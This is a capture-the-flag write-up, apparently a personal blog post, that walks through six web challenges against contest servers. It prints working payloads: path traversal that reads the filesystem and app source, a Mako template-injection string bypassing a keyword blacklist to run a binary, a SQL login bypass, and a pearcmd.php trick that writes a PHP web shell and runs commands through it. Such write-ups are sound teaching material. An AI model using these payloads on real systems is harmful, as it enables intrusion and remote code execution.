14 minute read

🏆 CAT CTF 26: Entry Level WEB Write-ups

What’s up, hackers! 👋

Meme

it’s time to dive into my primary category: Web Exploitation. 🕸️

As a solo player, the Web category was a massive battlefield. Out of the 10 challenges available, I managed to clear 6 of them. Even with the intense competition, I secured Second Blood 🥈 on one challenge and Third Blood 🥉 on another.

webchallenges

Web challenges are all about understanding how a developer thinks—and then finding where they got a bit too comfortable.

Let’s kick off the Web series with a challenge that was literally a “headache”—until I realized the answer was right in front of me.


🕸️ Web Series: Headache

Author: 0xdblm
Points: 100

challenge


📝 The Challenge Description

“Headache”

 URL: http://167.99.34.2:5000/

Upon visiting the home page, I was greeted with an “Internal Gateway” message:

  • Status: Request rejected.

  • Hint: “Try again with less body.”

  • Options: Get Flag Admin Portal.

firstpage


🔍 Phase 1: Initial Discovery

When I clicked on the “Get Flag” button, it redirected me to /api/flag. Instead of the flag, I received a cold JSON response:

getflag

🧪 Phase 2: Analyzing the API (Burp Suite)

I intercepted the request to /api/flag using Burp Suite to see exactly what was happening under the hood.

The Request:

GET /api/flag HTTP/1.1
Host: 167.99.34.2:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
Referer: http://167.99.34.2:5000/
Connection: keep-alive 

The Response:

HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/2.3.0 Python/3.11.15
Content-Type: application/json
Content-Length: 75

{"error":"admin_only","message":"Missing elevated authorization context."}

getmethod

The server was running Werkzeug, a common WSGI web application library for Python. The 403 Forbidden status confirmed that the standard GET request was being blocked by an authorization check.


💡 Phase 3: The Exploit (Using your HEAD)

I went back to the hint on the homepage: “Try again with less body.”

In HTTP, a GET request can have a body, but a HEAD request is identical to a GET request except that the server must not return a message-body in the response. It only returns the headers.

If the developer implemented the “Admin Only” check only for GET and POST methods, a HEAD request might bypass the security filter entirely.

The Attack: I changed the request method from GET to HEAD in Burp Repeater.

HEAD /api/flag HTTP/1.1
Host: 167.99.34.2:5000
... 

The Response:

HTTP/1.1 200 OK
Server: Werkzeug/2.3.0 Python/3.11.15
Date: Tue, 24 Mar 2026 03:14:35 GMT
Content-Type: application/json
X-Flag: CATF{M4Yb3_Us1ng_y0ur_H34D_1S_us3full}
Cache-Control: no-store
Content-Length: 0
Connection: close

headmethod

Success! By switching to the HEAD method, the server bypassed the authorization logic and served the flag directly in a custom HTTP header: X-Flag.


🏁 The Flag

The pun in the flag confirmed the intended solution:

Final Flag: CATF{M4Yb3_Us1ng_y0ur_H34D_1S_us3full}


==========================================================

🕸️ Web Series: Admin Jokes

Welcome to the second web challenge in this series. This one required chaining a few classic web vulnerabilities together: starting with an LFI (Local File Inclusion) to leak the source code, discovering a hidden endpoint, and ultimately exploiting an SSTI (Server-Side Template Injection) while bypassing a security filter to get an RCE (Remote Code Execution).

Author: 0xdblm

Points: 100

challenge

📝 The Challenge Description

“Admin is a wise man; he doesn’t say silly jokes.”

URL: http://167.99.34.2:5008/

Upon entering the site, I found a simple homepage for an “Admin Jokes Portal.”

home

It had a link pointing to: http://167.99.34.2:5008/jokes?joke=1 Visiting this link displayed a basic joke about internal server errors.

firstpage

🔍 Phase 1: LFI & Directory Traversal

My first instinct was to test the joke parameter for IDOR (Insecure Direct Object Reference) by changing the number. I manually enumerated the values and found that valid jokes existed from joke=1 up to joke=6. However, when I hit ?joke=7 (and anything above it), the server returned a “Not Found” error.

Next, I tested for Path Traversal / LFI by inserting a classic payload: http://167.99.34.2:5008/jokes?joke=../../../../../../../../../../../

The Result: Boom! The application listed the entire root directory of the Linux filesystem.

pathtraversal

The listing showed some interesting files and directories: .dockerenv, app, etc, flag.txt, readflagbinary, root, tmp, etc.

I immediately tried to read the flag: ?joke=../../../../../../../../../../../flag.txt

But the author was trolling:

“CATF{Fake_Flag_Try_Harder_Buddy} hahahaha nice try! Hint: You need an RCE…. and look somewhere for the real flag.”

fakeflag

The most interesting file was /readflagbinary. However, trying to read it via the browser resulted in an Internal Server Error because it’s an executable binary, not a text file. I needed an RCE to execute it.


🧩 Phase 2: Source Code Review via /proc/self/cwd

To get an RCE, I needed to understand how the backend worked. Since I had LFI, I used a well-known Linux trick to read the source code of the running application.

By navigating to /proc/self/cwd/, which points to the Current Working Directory of the running process, I could read the main Python file: http://167.99.34.2:5008/jokes?joke=../../../../../../../../../../../proc/self/cwd/app.py

burprequest

I extracted the source code. Here is the most critical part of the application logic:

from mako.template import Template
import os

BLACKLIST = ["os", "system", "eval", "popen", "subprocess"]

# ... (other routes) ...

@app.route("/admin/profile")
def admin_profile():
    name = request.args.get("name", "Admin")
    lowered = name.lower()
    
    if any(token in lowered for token in BLACKLIST):
        return "Blocked by security filter.", 403

    template = Template(f"<h2>Admin Profile</h2><p>Welcome, {name}</p>")
    return template.render() 

💻 Phase 3: Exploiting SSTI (Server-Side Template Injection)

From the source code, two things were immediately obvious:

  1. The Template Engine: The app uses mako.template.Template.

  2. The Vulnerability: The name parameter in the /admin/profile route is directly concatenated into the template string Template(f"...{name}...") before rendering. This is a classic SSTI vulnerability.

1. Proof of Concept (PoC)

I navigated to the hidden endpoint and tested a basic Mako SSTI payload: GET admin/profile?name=${7*7}

The Response:

HTTP/1.1 200 OK
Admin Profile 
Welcome, 49

49

The math executed! The SSTI was confirmed.

2. Bypassing the Blacklist for RCE

To read the flag, I needed to execute the /readflagbinary file. However, the developer implemented a blacklist: BLACKLIST = ["os", "system", "eval", "popen", "subprocess"]

I couldn’t just use standard Python OS commands because the name.lower() check would block them.

The Bypass: I crafted a payload using string concatenation inside the template execution block. By breaking the banned words into smaller strings and adding them together, I bypassed the filter.

'o'+'s' avoids the "os" filter. 'po'+'pen' avoids the "popen" filter.

The Final Payload: ${__import__('o'+'s').__dict__['po'+'pen']('/readflagbinary').read()}


🏁 Phase 4: Getting the Flag

I sent the final crafted payload via Burp Suite to execute the binary:

Request:

GET admin/profile?name=${__import__('o'+'s').__dict__['po'+'pen']('/readflagbinary').read()} HTTP/1.1
Host: 167.99.34.2:5008
Connection: keep-alive 

Response:

HTTP/1.1 200 OK
Server: Werkzeug/3.1.6 Python/3.12.13
Date: Tue, 24 Mar 2026 17:10:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 87
Connection: close

<h2>Admin Profile</h2><p>Welcome, CATF{Mak0_LF1_2_SSTI_Adm1n_J0k3s_Pwn3d_9f4e2b7c}</p>

flag

Final Flag: CATF{Mak0_LF1_2_SSTI_Adm1n_J0k3s_Pwn3d_9f4e2b7c}

==================================================================

🕸️ Web Series: Easy Injection

Moving on to the next Web challenge! As the name implies, “Easy Injection” was a straightforward challenge, This challenge was all about understanding the logic of authentication flows and exploiting improper input sanitization.

Author: 0xdblm

Points: 100

challenge

📝 The Challenge Description

URL: http://167.99.34.2:5777

The homepage presented a standard portal with options to Register and Login. Standard users can create accounts, but administrative tools are restricted to staff members with elevated access.

homepage

🔍 Phase 1: Recon & Standard Access

My first step was to play by the rules to see what a normal user can access. I went to the Register page and created a standard account with my signature credentials:

  • Username: 0xaskar

  • Password: 0xaskar

create

After logging in, I was redirected to the user Dashboard. The dashboard confirmed my standard access and clearly stated:

Account Status User workspace access: active Administrative tools: restricted

0xaskar

There was a link pointing to a separate “Administrative Login” screen. That was my actual target.


💻 Phase 2: The Admin Portal & SQLi

I navigated to the Administrative Login page. It was a restricted area asking for an Admin Username and Password. The placeholder for the username explicitly hinted at admin.

The Vulnerability: Whenever I see a custom login form, my first instinct is to test for SQL Injection (SQLi). If the backend doesn’t sanitize the inputs and directly concatenates them into a SQL query, we can manipulate the logic to bypass the password check entirely.

A typical backend query looks something like this:

SQL

SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'PASSWORD_INPUT'; 

💣 Phase 3: The Exploit (Auth Bypass)

I decided to use a classic SQLi payload in the Admin Username field to comment out the rest of the query (specifically, the password verification part).

The Payload:

  • Admin Username: admin' --

  • Admin Password: 0xaskar (or literally any random string)

payload

Why it works: By injecting admin' --, the backend query transforms into:

SQL

SELECT * FROM users WHERE username = 'admin' --' AND password = '0xaskar'; 

The -- turns the rest of the line into a comment in SQL. The database only executes SELECT * FROM users WHERE username = 'admin', logs me in as the admin, and completely ignores whatever password I typed!


🏁 Phase 4: Getting the Flag

The exploit worked flawlessly. The authentication was bypassed, and I was granted access to the Administration Panel.

flag

Final Flag: CATF{E4SY_e4sy_Easy_1nj3c410n}


🕸️ Web Series: I love PHP

This challenge was a real treat for PHP lovers (and haters). The title says it all, and the description gave a huge hint: “PHP is a weird way to spell RCE.” It started as a simple file inclusion and turned into a full Remote Code Execution (RCE) using a clever trick with the PHP PEAR management tool.

Author: marco

Points: 244

challenge


📝 The Challenge Description

“PHP is a weird way to spell RCE”

URL: http://167.99.34.2:8888/

Upon visiting the homepage, the source code was displayed directly:

<?php $file = $_GET['file'] ?? null; if ($file) { if (strpos($file, 'file://') === 0) { include($file); } } else { highlight_file(__FILE__); }

code

🔍 Phase 1: Initial Discovery & Failed Attempts

The code has a clear Local File Inclusion (LFI) vulnerability via the include($file) function. However, the path must start with file://.

My Failed Attempts:

  1. PHP Filters: I tried file://php://filter/... to read files, but it failed because PHP interpreted it as a literal local path rather than a wrapper.

  2. Log Poisoning: I attempted to reach standard log paths (Nginx/Apache), but they were inaccessible or didn’t exist.


💡 Phase 2: The Exploit (Pearcmd.php RCE)

Remembering the “RCE” hint, I focused on a powerful technique: exploiting pearcmd.php.

In many PHP Docker environments, PEAR is installed at /usr/local/lib/php/pearcmd.php. If register_argc_argv is enabled, we can pass command-line arguments via the URL.

The Attack Plan:

Use the config-create command in PEAR to write a custom PHP WebShell into the /tmp/ directory.

The “Golden” Payload:

I used curl with the -g (globoff) flag to ensure the brackets and PHP tags were sent exactly as written.

Command:

curl -g -v "[http://167.99.34.2:8888/?+config-create+/&file=file:///usr/local/lib/php/pearcmd.php&/](http://167.99.34.2:8888/?+config-create+/&file=file:///usr/local/lib/php/pearcmd.php&/)+/tmp/0xaskar.php" 

curl

The server responded with: Successfully created default configuration file "/tmp/0xaskar.php"


🏁 Phase 3: Command Execution & Flag

Now that my shell /tmp/0xaskar.php was created, I used the original LFI vulnerability to execute it.

1. Listing Directory Contents

By navigating to: http://167.99.34.2:8888/?file=file:///tmp/0xaskar.php&1=ls -la /

php

The output showed the raw PEAR configuration file, but hidden inside the strings was the output of my ls command! I found an interesting SUID binary:

-rwsr-xr-x 1 root root 14336 Mar 21 22:50 readflag 

readflag

2. The Final Blow

I executed the binary to read the flag: http://167.99.34.2:8888/?file=file:///tmp/0xaskar.php&1=/readflag

The flag appeared multiple times within the PEAR configuration output:

flag

Response Snippet:

.../&file=file:/usr/local/lib/php/pearcmd.php&/CATF{TH3_M05T_TH1NG_1_L0V3_AB0UT_PHP_15_TH4T_H0W3V3R_SM4LL_TH3_C0D3_15_Y0U_C4N_ALW4Y5_G3T_4N_RCE}...

Final Flag: CATF{TH3_M05T_TH1NG_1_L0V3_AB0UT_PHP_15_TH4T_H0W3V3R_SM4LL_TH3_C0D3_15_Y0U_C4N_ALW4Y5_G3T_4N_RCE}


=================================================

🕸️ Web Series: JSF

Author: 0xdblm

Points: 244

challenge


📝 The Challenge Description

“I hate client-side, do you?”

URL: http://167.99.34.2:5888/

Upon opening the URL, I was greeted with a “JSF Support Portal.” It looked like a standard dashboard showing account overview, open cases, and a workspace status. Everything appeared static—no buttons to click, and no hidden links in plain sight.

portal


🔍 Phase 1: Reconnaissance

1. The Basics

I checked /robots.txt but it was a dead end:

` User-agent: * Allow: /`

2. Deep Dive into Source Code

I viewed the page source (Ctrl+U). At the bottom of the HTML, I noticed an unusual script tag:

source

Navigating to /legacy-widget.js, I found a massive wall of symbols: [][(![]+[])[+!+[]].... This is JSFuck, an esoteric and educational programming style where JavaScript code is written using only six characters: [ ] ( ) ! +.

jsfcode

💡 Phase 2: Decoding the Madness

I took the JSFuck payload to a decoder (like dcode.fr). The decoded logic was eye-opening:

JavaScript

(function () {
    var statusEl = document.getElementById("ops-status");
    // ... UI Updates ...
    var cookieMatch = document.cookie.match(/(?:^|; )widget_ticket=([^;]+)/);
    var ticket = cookieMatch ? decodeURIComponent(cookieMatch[1]) : "";
    
    window.setTimeout(async function () {
        try {
            var response = await window.fetch("/api/legacy-assistant", {
                method: "POST",
                credentials: "same-origin",
                headers: { "X-Widget-Ticket": ticket } // The key!
            });
            var payload = await response.json();
            window.alert(payload.flag);
        } catch (error) {
            window.alert("Legacy assistant failed to initialize.");
        }
    }, 180);
})() 

jsfdecoder

The Logic Break-down:

  1. The script looks for a cookie named widget_ticket.

  2. It sends a POST request to the endpoint /api/legacy-assistant.

  3. Crucially, it includes a custom header: X-Widget-Ticket: [Cookie Value].

  4. If successful, the flag is returned in the JSON response.


🏁 Phase 3: The Exploit

There are two ways to solve this: the “Automated” way via Python, or the “Manual” way via Burp Suite.

Method A: Python Automation

We can use a script to handle the session, cookies, and headers in one go:

import requests

session = requests.Session()
session.get("[http://167.99.34.2:5888/](http://167.99.34.2:5888/)") # Get the cookie
ticket = session.cookies.get("widget_ticket")

headers = {"X-Widget-Ticket": ticket}
api_resp = session.post("[http://167.99.34.2:5888/api/legacy-assistant](http://167.99.34.2:5888/api/legacy-assistant)", headers=headers)

print(api_resp.text)

flag


Method B: Manual Exploitation (Burp Suite)

If you prefer manual control or don’t want to write code, you can use Burp Suite.

🛠️ Key Modifications:

  1. Change Method: Change the request from GET to POST.

  2. Add Custom Header: Add the X-Widget-Ticket header with the value from your cookie.

The Final Request in Burp Suite:

POST /api/legacy-assistant HTTP/1.1
Host: 167.99.34.2:5888
User-Agent: Mozilla/5.0 (Windows NT 10.0; ...)
Cookie: widget_ticket=93ttjUt-U5dOtLAwnon_YMUgbkwBTrbZ; session=eyJ3aWR...
X-Widget-Ticket: 93ttjUt-U5dOtLAwnon_YMUgbkwBTrbZ
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0 

The Response:

HTTP/1.1 200 OK
Content-Type: application/json
...

{"flag":"CATF{Y0u_kn3w_th3_0bfusc1710n_S3cr3t}"}

burp

Final Flag: CATF{Y0u_kn3w_th3_0bfusc1710n_S3cr3t}


==========================================================

🕸️Web Series: Forest Secrets

Author: 0xdblm

Points: 493

Solves:

challenge

📝 The Challenge Description

“You awaken in the heart of a forest that feels ancient, hostile, and very much alive. Strange voices drift through the trees, unseen eyes follow every movement, and each path seems to lead deeper into something you were never meant to find. If there is a way out, it is buried beneath the forest’s silence.”

URL: http://167.99.34.2:5050/

Upon opening the URL, I was greeted with a text-based terminal interface. The atmosphere was dark and mysterious, providing a few lines of lore and a prompt to type start to begin the journey.

start


🔍 Phase 1: Reconnaissance

1. Initial Interaction

When I typed start, the game presented four routes:

  • HEAD TOWARD THE LANTERN LIGHT

  • CALL INTO THE FOG

  • CLIMB THE WATCHTOWER

  • HIDE BENEATH THE ROOTS

2. Deep Dive into Source Code

I checked the page source and found a script tag: <script src="/static/main.js" defer></script>

source

Navigating to /static/main.js, I analyzed the core game logic. The script handles terminal rendering, audio, and, most importantly, the communication with the backend APIs:

  • GET /api/options: Fetches the available commands for each stage.

  • POST /api/monitor: Sends the user’s command to the server for validation.

  • POST /api/reset: Resets the game state.

The game tracks progress via a cookie named trail_id.


🗺️ Phase 2: Mapping the API

To understand all possible moves, I intercepted the request to /api/options using Burp Suite:

Request:

GET /api/options HTTP/1.1
Host: 167.99.34.2:5050
...

Response:

{
  "allPossibleCommands": {
    "1": ["HEAD TOWARD THE LANTERN LIGHT", "CALL INTO THE FOG", "CLIMB THE WATCHTOWER", "HIDE BENEATH THE ROOTS"],
    "2": ["ENTER THE ABANDONED SHRINE", "FOLLOW THE DRIPPING TUNNEL", "KNOCK ON THE STONE DOOR", "TURN BACK"],
    "3": ["READ THE CARVED TABLET", "SET UP CAMP", "DRINK FROM THE WELL", "RETRACE YOUR STEPS"],
    "4": ["OPEN THE IRON GATE", "LIGHT A SIGNAL FIRE", "CHASE THE WHISPER", "WAIT FOR DAWN"]
  },
  "intro": "The forest is waiting. Four routes stand open before you."
}

getoptions


🛠️ Phase 3: Automated Pathfinding

Instead of manual guessing, I wrote a Python script to automate the journey. The script handles the trail_id session cookie and iterates through the options until it hits a progression or a “gate”.

0xaskar_forest.py:

Python

import requests

BASE_URL = "http://167.99.34.2:5050"
MONITOR_URL = f"{BASE_URL}/api/monitor"
OPTIONS_URL = f"{BASE_URL}/api/options"

def find_correct_path():
    session = requests.Session()
    requests.post(f"{BASE_URL}/api/reset") # Start fresh
    
    options = requests.get(OPTIONS_URL).json().get("allPossibleCommands", {})
    correct_path = []
    current_step = "1"
    
    while current_step in options:
        found_next = False
        for cmd in options[current_step]:
            resp = session.post(MONITOR_URL, json={"command": cmd})
            data = resp.json()
            
            if data.get("status") == "continue":
                next_step = data.get("next_step")
                
                # Check for the Gate/Loop
                if next_step == current_step:
                    print(f"[!] Hit a gate at Step {current_step} with command: {cmd}")
                    print(f"[*] Message: {data.get('message')}")
                    return correct_path + [cmd]

                correct_path.append(cmd)
                current_step = next_step
                found_next = True
                break
    return correct_path

if __name__ == "__main__":
    final_path = find_correct_path()

Script Output:

code

The script successfully cleared Steps 1, 2, and 3, but hit a “Secret Gate” at Step 4: "The gate refuses to move... Scratched around the keyhole is a single question: WHAT IS THE SECRET COMMAND?"

secret


🕵️ Phase 4: Finding the Fifth Path

Checking /robots.txt revealed a critical hint:

Plaintext

User-agent: *
Allow: /
# Old trails answered to more than one method.

robots

This hinted at using a different HTTP Method. I used the OPTIONS method on the /api/options endpoint while carrying my valid trail_id cookie.

The Exploit Request (Burp Suite):

OPTIONS /api/options HTTP/1.1
Host: 167.99.34.2:5050
Cookie: trail_id=YNIkXNr45po3QsvGQAJgWdZ4rgixMA2x
...

The Response:

HTTP/1.1 204 NO CONTENT
Allow: GET, OPTIONS
X-Trail-Head: ASK THE FOREST
X-Trail-Tail: FOR A FIFTH PATH
X-Map-Note: Old methods still answer old trails.
Access-Control-Expose-Headers: Allow, X-Trail-Head, X-Trail-Tail, X-Map-Note

options

The custom headers provided the secret command: ASK THE FOREST FOR A FIFTH PATH.


🏁 Phase 5: The Final Exploit

I sent the combined secret command as a POST request to /api/monitor:

Final Request:

POST /api/monitor HTTP/1.1
Host: 167.99.34.2:5050
Content-Type: application/json
Cookie: trail_id=...

{"command": "ASK THE FOREST FOR A FIFTH PATH"}

flag

Final Response: "The hidden path opens, and the forest finally lets you leave."

Final Flag: CATF{4sk1ng_f0r_A_f1f7h_0p710n_1t_4l4w4ys_h3lpful}